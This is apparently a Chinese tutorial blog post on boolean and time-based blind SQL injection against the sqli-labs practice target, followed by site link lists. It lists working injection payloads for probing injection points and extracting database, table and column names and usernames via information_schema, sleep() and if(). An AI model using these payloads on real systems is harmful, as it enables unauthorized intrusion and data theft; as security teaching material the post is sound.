SQL bool盲注和时间盲注详解


Posted in SQL Server onJuly 23, 2022

今天继续给大家介绍Linux运维相关知识,本文主要内容是SQL bool盲注和时间盲注。

免责声明:
本文所介绍的内容仅做学习交流使用,严禁利用文中技术进行非法行为,否则造成一切严重后果自负!
再次强调:严禁对未授权设备进行渗透测试!

一、bool盲注和时间盲注常用函数

1、休眠函数
sleep()是SQL语句中用于休眠的函数,时间盲注中常用,sleep(x)可以让程序休眠x秒。
2、字符串截取函数
字符串截取函数是bool盲注和时间盲注中都需要使用的函数。常用的字符串截取函数有mid()、substr()、left()。
mid()函数格式为:

mid(【目标字段】,【开始的位置】,【截取长度】)

其中,开始的位置默认从1开始。
substr()函数的用法与mid相似,left函数则默认从字段的最左边开始截取,其格式为:

left(【目标字段】,【截取长度】)

表示从目标字段的左边开始截取指定长度的字符。
3、字符串长度函数
字符串长度函数length()会应用在SQL bool盲注和时间盲注中,length()函数可以反馈目标字符串的长度。
4、ascii码转换函数
ascii码转换函数可以将一个字符转换成ascii码,在SQL基于时间的盲注和基于bool的盲注中,ascii码转换函数可以将一个字符转换成其ascii码值。常用的ascii码转换函数为ascii()、ord()。
5、条件判断函数
条件判断函数if是SQL时间盲注中的必用函数,可以利用if函数来根据条件来反馈不同的结果。
if函数格式如下所示:

if(【条件】,【值1】,【值2】)

当条件成立时,if函数返回值1,当条件不成立时,if函数返回值2.

二、bool盲注和时间盲注payload

1、SQL注入点探测

我们使用sqli_lab的靶场,对基于bool的盲注和基于时间的盲注进行讲解,在sqli_lab靶场中,基于bool的盲注是第8关,基于时间的盲注是第9关,页面如下所示:

SQL bool盲注和时间盲注详解

对于bool类型的盲注,我们可以通过执行以下payload来探测是否存在注入点:

id=1'and 1=2#

如果显示异常,那么就说明and后面的内容被成功执行,因此可能存在bool类型的SQL注入。
对于时间类型的盲注,我们可以通过执行以下payload来探测是否存在注入点:

id=1'and sleep(10)#

如果网页反应时间出现了明显延迟,就说明存在基于时间的SQL注入。

2、猜解数据库名

bool类型的盲注猜解数据库长度payload如下所示:

id=1'and length(database())>10#

时间类型的盲注猜解数据库长度payload如下所示:

id=1'and sleep(if(length(database())>10,10,1))>10#

bool类型的盲注猜解数据库名称payload如下所示:

id=1'and ascii(mid(database(),1,1))>115#

时间类型的盲注猜解数据库名称payload如下所示:

id=1'and sleep(if(ascii(mid(database(),1,1))>115,10,1))#

上述四个payload,length函数用于反馈查询结果的长度,mid函数用于截取查询结果的指定字符,ascii函数用于将其转换为ascii码的形式,if函数中第一个参数为一个判断表达式,本质上是bool类型盲注的核心,后面的10和1分别为表达式成立或者不成立条件下的返回值,该返回值为sleep函数的输入,以此就可以控制网页反应的时间。

3、猜解表名

bool类型的盲注表名个数猜解payload如下所示:

id=1'and (select count(*) from information_schema.tables where table_schema=database())>2#

时间类型的盲注表名个数猜解payload如下所示:

id=1'and sleep(if((select count(*) from information_schema.tables where table_schema=database())>2,10,1))#

bool类型的盲注表名猜解payload如下所示:

id=1'and ascii(mid((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100#

时间类型的盲注表名猜解payload如下所示:

id=1'and sleep(if((ascii(mid((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100),10,1))#

在上述4个payload中,其原理与之前介绍的相似,但是是使用limit函数来不断的控制反馈的变量。

4、猜解字段名

bool类型的盲注字段名个数猜解payload如下所示:

id=1'and (select count(*) from information_schema.columns where table_name='users'and table_schema=database())>1#

时间类型的盲注字段名个数猜解payload如下所示:

id=1'and sleep(if((select count(*) from information_schema.columns where table_name='users'and table_schema=database())>1,10,1))#

bool类型的盲注字段名个数猜解payload如下所示:

id=1'and ascii(mid((select% column_name from information_schema.columns where%20table_name='users'and table_schema=database() limit 0,1),1,1))>1000#

时间类型的盲注字段名个数猜解payload如下所示:

id=1'and sleep(if(ascii(mid((select% column_name from information_schema.columns where%20table_name='users'and table_schema=database() limit 0,1),1,1))>1000,10,1))#

其原理与之前类似。

5、猜解数据

bool类型的盲注数据长度猜解payload如下所示:

id=1'and (select count(*) from users)>1#

时间类型的盲注数据长度猜解payload如下所示:

id=1'and sleep(if((select count(*) from users)>1,10,1))#

bool类型的盲注数据猜解payload如下所示:

id=1'and ascii(mid((select username from users limit 0,1),1,1))>1#

时间类型的盲注数据猜解payload如下所示:

id=1'and sleep(if(ascii(mid((select username from users limit 0,1),1,1))>1,10,1))#

到此这篇关于SQL bool盲注和时间盲注详解的文章就介绍到这了,更多相关SQL bool盲注和时间盲注内容请搜索三水点靠木以前的文章或继续浏览下面的相关文章希望大家以后多多支持三水点靠木!

SQL Server 相关文章推荐
SQL Server2019数据库之简单子查询的具有方法
Apr 27 SQL Server
如何有效防止sql注入的方法
May 25 SQL Server
sql中mod()函数取余数的用法
May 29 SQL Server
sql server 累计求和实现代码
Feb 28 SQL Server
SQL Server中常用截取字符串函数介绍
Mar 16 SQL Server
SQL Server远程连接的设置步骤(图文)
Mar 23 SQL Server
SQL Server表分区降低运维和维护成本
Apr 08 SQL Server
SQL Server Agent 服务无法启动
Apr 20 SQL Server
使用 MybatisPlus 连接 SqlServer 数据库解决 OFFSET 分页问题
Apr 22 SQL Server
SQL Server中使用表变量和临时表
May 20 SQL Server
SQL bool盲注和时间盲注详解
Jul 23 SQL Server
SqlServer常用函数及时间处理小结
May 08 SQL Server
在SQL Server中使用 Try Catch 处理异常的示例详解
Jul 15 #SQL Server
SQL中的连接查询详解
Jun 21 #SQL Server
SQL Server数据库备份和恢复数据库的全过程
一次SQL查询优化原理分析(900W+数据从17s到300ms)
Jun 10 #SQL Server
SQL Server2019安装的详细步骤实战记录(亲测可用)
SQL Server携程核心系统无感迁移到MySQL实战
SQL解决未能删除约束问题drop constraint
May 30 #SQL Server
You might like
php下使用无限生命期Session的方法
2007/03/16 PHP
PHP的变量总结 新手推荐
2011/04/18 PHP
PHP创建单例后台进程的方法示例
2017/05/23 PHP
PHP数组遍历的几种常见方式总结
2019/02/15 PHP
语义化 H1 标签
2008/01/14 Javascript
在jquery中处理带有命名空间的XML数据
2011/06/13 Javascript
深入理解javascript动态插入技术
2013/11/12 Javascript
httpclient模拟登陆具体实现(使用js设置cookie)
2013/12/11 Javascript
全面兼容的javascript时间格式化函数(比较实用)
2014/05/14 Javascript
使用typeof判断function是否存在于上下文
2014/08/14 Javascript
js 左右悬浮对联广告代码示例
2014/12/12 Javascript
ztree获取当前选中节点子节点id集合的方法
2015/02/12 Javascript
easyui Droppable组件实现放置特效
2015/08/19 Javascript
JavaScript中的Reflect对象详解(ES6新特性)
2016/07/22 Javascript
详解js的延迟对象、跨域、模板引擎、弹出层、AJAX【附实例下载】
2016/12/19 Javascript
vue中的scope使用详解
2017/10/29 Javascript
bootstrap-table.js扩展分页工具栏(增加跳转到xx页)功能
2017/12/28 Javascript
浅谈Vue路由快照实现思路及其问题
2018/06/07 Javascript
vue 使用html2canvas将DOM转化为图片的方法
2018/09/11 Javascript
详解VUE里子组件如何获取父组件动态变化的值
2018/12/26 Javascript
JavaScript中this的学习笔记及用法整理
2020/02/17 Javascript
vue 使用 vue-pdf 实现pdf在线预览的示例代码
2020/04/26 Javascript
详解supervisor使用教程
2017/11/21 Python
解决安装pycharm后不能执行python脚本的问题
2019/01/19 Python
python七夕浪漫表白源码
2019/04/05 Python
pytorch索引查找 index_select的例子
2019/08/18 Python
django admin 自定义替换change页面模板的方法
2019/08/23 Python
Python Subprocess模块原理及实例
2019/08/26 Python
详解CSS3选择器的使用方法汇总
2015/11/24 HTML / CSS
HTML5图片层叠的实现示例
2020/07/07 HTML / CSS
Geekbuying波兰:购买中国电子产品
2019/10/20 全球购物
2014年乡镇植树节活动方案
2014/02/28 职场文书
抄袭同学作业检讨书1000字
2014/11/20 职场文书
小石潭记导游词
2015/02/03 职场文书
入党个人总结范文
2015/03/02 职场文书
高一作文之乐趣
2019/11/21 职场文书